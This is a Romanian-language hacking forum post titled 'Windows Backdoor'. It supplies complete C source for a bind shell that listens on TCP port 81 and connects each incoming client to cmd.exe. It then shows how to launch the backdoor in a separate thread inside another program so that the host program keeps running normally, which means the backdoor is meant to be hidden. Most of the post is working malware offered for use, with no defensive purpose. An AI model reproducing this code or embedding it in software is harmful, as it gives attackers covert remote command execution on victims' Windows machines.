Jump to content
SlicK

Windows Backdoor

Recommended Posts

Posted

Cum se face un backdoor in windows care sa astepte conexiuni pe un anumit port si la conectare sa ofere "cmd.exe"


bool Backdoor()
{
WSADATA wsd;
SOCKET s1,s2; // socketurile
struct sockaddr_in sockadd;
int len=sizeof(sockadd);
STARTUPINFO SI;
PROCESS_INFORMATION PI;

sockadd.sin_family=AF_INET;
sockadd.sin_port=htons(81); // portul pe care sa asculte
sockadd.sin_addr.s_addr=htonl(INADDR_ANY); // localhost
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) return false; // initiem WinSocket
s1=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0); // creem socketul
if(bind(s1,(struct sockaddr *)&sockadd,len)!=0) return false; // asociem socketul adresei locale
if(listen(s1,5)==SOCKET_ERROR) return false; // setam soketul sa asculte
while(1)
{
if((s2=accept(s1,(struct sockaddr *)&sockadd,&len))==INVALID_SOCKET) return false; // socketul clientului
ZeroMemory(&SI,sizeof(SI));
ZeroMemory(&PI,sizeof(PI));
SI.cb = sizeof(SI);
SI.dwFlags=STARTF_USESTDHANDLES;
SI.hStdError=(HANDLE)s2;
SI.hStdInput=(HANDLE)s2;
SI.hStdOutput=(HANDLE)s2;
CreateProcess(NULL,"cmd",NULL,NULL,1,0,NULL,NULL,&SI,&PI); // creem procesul "cmd.exe"
WaitForSingleObject(PI.hProcess,INFINITE); // asteapta pana la terminarea procesului
closesocket(s2); // inchidem socketul clientului
}
return true;
}

Exemplu de folosire


#include <windows.h>
#include <winsock.h>

bool Backdoor()
{
// mai sus
}

int main()
{
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&Backdoor,NULL,0,NULL); // creem un thread separat pentru functia backdoor pentru ca programul sa continue normal

// restul programului
}

IMPORTANT: trebuie sa adaugati libraria WINSOCK la proiect(Dev-C++:libws2_32.a)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...